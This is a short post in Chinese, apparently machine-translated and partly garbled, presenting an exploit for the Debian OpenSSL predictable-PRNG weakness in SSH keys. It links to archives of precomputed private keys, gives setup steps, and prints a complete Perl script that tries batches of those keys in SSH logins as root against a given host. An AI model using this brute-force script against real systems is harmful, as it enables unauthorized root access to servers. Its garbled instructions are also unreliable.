Debian OpenSSL可预测的PRNG暴力破解SSH分析

解开Debian OpenSSL内的ssh钥匙只有65.536可能性,导致唯一的熵是引起钥匙的过程的Pid.

这导致以下perl脚本程序可以使用与暴力的预先计算好的ssh钥匙。如果钥匙在一个非被修补的debian或其他系统指南被安装配置,它就会运作。

在一个未修补的系统中,不需要Debian,做以下工作:

keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/

1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
http://milw0rm.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2

2. 提取它对应目录

3. 输入/root/.ssh/authorized_keys与2048位的SSH RSA钥匙,引起在Upatched Debian (这是这盘剥将增殖比的钥匙 eak)

4. 运行perl脚本程序并且给它提取bzip2的位置.
复制内容到剪贴板
代码:
#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
   print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
   print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
   print "By hack01[at]live[dot]cn\n";
   exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
   chomp;
   next unless m,^\d+$,;
   push(@a, $_);
   if (scalar(@a) > $keysPerConnect) {
      system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]);
      @a = ();
   }
}